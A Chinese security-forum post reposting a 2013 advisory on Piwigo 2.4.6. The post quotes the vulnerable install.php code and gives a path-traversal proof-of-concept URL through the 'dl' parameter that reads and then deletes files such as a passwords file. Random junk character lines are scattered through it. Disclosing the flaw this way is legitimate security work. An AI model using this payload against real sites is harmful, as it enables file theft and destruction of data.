中国网络渗透测试联盟
标题:
Piwigo任意文件泄露和任意文件删除漏洞
[打印本页]
作者:
admin
时间:
2013-3-14 20:15
标题:
Piwigo任意文件泄露和任意文件删除漏洞
Piwigo是用PHP编写的相册脚本。
- C) f* T5 Z' x, }& Y2 u* E! b
8 q$ S1 {0 r3 ?! p6 T' Z1 G# b
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
5 i5 |# `/ e* U( u y2 B, ?
====================================================================
; S& G2 z# c- `/ N, T
/install.php:
P4 {" v. {2 [1 I0 j L- Q/ c
-------------
- `# S, j& O2 ^" C2 G# \
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
. d) \; Y5 n" f" L
114: {
3 l6 z9 L# X4 h
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
- M" U: U& H8 _5 J
116: header('Cache-Control: no-cache, must-revalidate');
+ \6 p) ~* |0 S' y' Z, \4 _; |
117: header('Pragma: no-cache');
( C5 v- T. Z/ o3 n: n! V) a
118: header('Content-Disposition: attachment; filename="database.inc.php"');
4 a. O4 A1 m3 ]1 d+ @( Y" p4 J
119: header('Content-Transfer-Encoding: binary');
) K, ?+ W; p' T' B
120: header('Content-Length: '.filesize($filename));
0 ^1 l, U: o" w$ v9 e
121: echo file_get_contents($filename);
- `) ]& } h- y) g8 |7 I
122: unlink($filename);
9 d2 q$ a' N: a
123: exit();
1 c8 E6 [/ @8 l7 I/ l
124: }
! S+ x. t; c) W( F# o r$ L
====================================================================
6 Y, z6 v& v& F0 U$ c7 W
( _. _2 j8 s( r# u$ q/ b
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
" {- v; Y) p6 a! t, {8 F
Apache 2.4.2 (Win32)
* w' ?$ l ^& ]6 I% w) P" o
PHP 5.4.4
0 M9 ^+ ~, K% P6 o" U5 h
MySQL 5.5.25a
" p: b3 ?& t) B
2 |8 Y; ]- _+ p+ ?3 J3 I9 S
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
6 S/ p- o' B! {
@zeroscience
8 j- Z: l" }0 e& f6 r
6 D; l) W2 J) M8 |. X/ M- p
Advisory ID: ZSL-2013-5127
H2 [* S! ~6 n& R
Advisory URL:
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
3 H" |! c- L7 q: w
Vendor Patch:
http://piwigo.org/bugs/view.php?id=2843
6 Y, c( H1 V! D2 N. m
0 b" S8 x0 M0 ~
15.02.2013
7 Y* G1 [+ G0 D# g3 V( A+ R+ b
5 i' V& Y- ]& k) g0 L
--
0 X. c$ `' F& l; I" r& \4 h S
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
% \# v5 g& r$ H: ^
+ t4 N5 B+ N8 W: e8 W0 y# f+ ]
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2